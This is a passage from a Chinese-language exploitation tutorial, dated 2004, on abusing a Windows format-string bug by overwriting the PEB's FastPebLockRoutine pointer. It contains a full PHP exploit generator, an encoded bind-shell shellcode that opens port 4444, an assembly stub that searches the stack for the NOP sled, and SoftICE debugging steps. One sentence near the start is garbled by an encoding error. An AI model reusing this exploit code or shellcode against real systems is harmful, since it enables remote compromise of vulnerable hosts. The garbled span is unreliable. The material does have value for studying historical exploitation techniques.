|
可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们降赘哺鞘裁吹刂繁冉虾媚兀緽asepCurrentTopLevelFilter指针是个不错主意,但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容,那么我们是否可以写一段代码到一个地址,然后把这个地址写到Peb->FastPebLockRoutine指针,那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务: 7FFDF25054PUSH ESP 7FFDF2515FPOP EDI 7FFDF252B8 90909090 MOV EAX,90909090 7FFDF257FCCLD 7FFDF258F2:AF REPNE SCAS DWORD PTR ES:[EDI] 7FFDF25A57PUSH EDI 7FFDF25BC3RETN 这段代码的意思是从当前esp开始往高地址搜索包含0x90909090的内容,如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节,加上覆盖地址的4个字节,一共是16个字节,要求往内存地址写8次。由于C语言处理字符串有些麻烦,所以我用PHP写了如下构造格式串的过程: <?php /* Windows format strings demo * *san@xfocus.org *2004.10.26 */ $flag = 2; $shellcode = "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x58\x01\x80\x34\x0b\xf8\xe2\xfa". "\xeb\x05\xe8\xeb\xff\xff\xff\x11\xda\xf9\xf8\xf8\xa7\x9c\x59\xc8". "\xf8\xf8\xf8\xa8\x73\xb8\xf4\x73\xb8\xe4\x73\x90\xf0\xa8\x73\x0f". "\x92\xfa\xa1\x10\x39\xf8\xf8\xf8\x1a\x01\xa0\x73\xf8\x73\x90\xf0". "\xa0\x07\xce\x77\xb8\xd8\x07\x8e\xfc\x77\xb8\xdc\x92\xfb\xa1\x10". "\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f\x8b\xca\xa7". "\xac\x07\xae\xf0\x73\x10\x92\xfd\xa1\x10\x73\xf8\xf8\xf8\x1a\x01". "\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae\xec\xa8". "\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe0\x73\x20\xcb\x38\xa8\xa8". "\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71". "\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8". "\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b". "\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf". "\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7". "\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07". "\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c". "\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb". "\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8". "\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3". "\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21". "\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31". "\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c". "\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d"; /* 7FFDF25054PUSH ESP 7FFDF2515FPOP EDI 7FFDF252B8 90909090 MOV EAX,90909090 7FFDF257FCCLD 7FFDF258F2:AF REPNE SCAS DWORD PTR ES:[EDI] 7FFDF25A57PUSH EDI 7FFDF25BC3RETN */ $fmt_array = array( 0x7FFDF250 => "0x5f54", 0x7FFDF252 => "0x90b8", 0x7FFDF254 => "0x9090", 0x7FFDF256 => "0xfc90", 0x7FFDF258 => "0xaff2", 0x7FFDF25A => "0xc357", 0x7FFDF022 => "0x7ffd", 0x7FFDF020 => "0xf250", ); asort($fmt_array); print_r($fmt_array); $count = count($fmt_array); $head = ""; $tail = ""; $last = 0; foreach($fmt_array as $k => $v) { printf("%x\n", $k); $b0 = sprintf("%c", (($k >> 24) & 0xff)); $b1 = sprintf("%c", (($k >> 16) & 0xff)); $b2 = sprintf("%c", (($k >>8) & 0xff)); $b3 = sprintf("%c", (($k) & 0xff)); if (!$last) { $last += 8*$count+8*$flag; } $head .= "AAAA".$b3.$b2.$b1.$b0; $tail .= "%".($v-$last)."c%hn"; $last= $v; } $fmt_str= $head.(str_repeat("%.8x", $flag)).$tail; $fmt_str .= str_repeat("\x90", 100).$shellcode; $fp = fopen("binfile", "wb"); fwrite($fp, $fmt_str); fclose($fp); ?> 生成"binfile"文件后用SoftICE的Symbol Loader加载format.exe程序进行调试,首先对0x7ffdf020下一个读写断点:
:bpm 7ffdf020 :dd 7ffdf020 :g 运行4个g以后,0x7ffdf020的内容被改写为0x7ffdf250,而且0x7ffdf250开始的地址也写入了上面12个字节搜索shellcode的代码。这时在0x7ffdf250下一个断点:
:bpx 7ffdf250 :g 运行两个g以后就进入该地区:
001B:7FFDF25054PUSHESP 001B:7FFDF2515FPOP EDI 001B:7FFDF252B890909090MOV EAX,90909090 001B:7FFDF257FCCLD 001B:7FFDF258F2AFREPNZ SCASD 001B:7FFDF25A57PUSHEDI 001B:7FFDF25BC3RET 这时的ecx等于0x7FFDF250,所以我们不需要再给ecx赋值。esp等于0x0012EE78,正好我们的shellcode在esp高地址的地方,所以执行了一个cld指令,如果我们的shellcode在esp低地址的地方,那么cld指令应该换成std指令。按F10执行完ret指令后,代码滑入shellcode:
001B:0012FC1090NOP 在shellcode里我们必须马上恢复Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址:
mov eax, fs:30h pusheax mov eax, [eax+0Ch] mov eax, [eax+1Ch] mov ebp, [eax+8]; base address of ntdll.dll pusheax mov esi, edi push_Nnums pop ecx GetNFuncAddr: ; find functions from ntdll.dll callfind_hashfunc_addr loopGetNFuncAddr pop eax mov eax, [eax] mov ebp, [eax+8]; base address of kernel32.dll pop eax pushdword ptr [esi+_RtlEnterCriticalSection] pop dword ptr [eax+0x20] pushdword ptr [esi+_RtlLeaveCriticalSection] pop dword ptr [eax+0x24] format.php里的shellcode被正确执行后会监听在4444端口。这个利用程序在Windows 2003下是无法利用的,因为Windows 2003的PEB里已经没有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针。在Windows XP SP2上利用的成功率也会很低,因为SP2的PEB里虽然还有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针,但是它的PEB基地址却不是固定的,进程每次运行都不会相同。
这种技术在其它平台也可以使用,只是其它平台未必有象Win32这样固定的类似Peb->FastPebLockRoutine指针。(T101)
|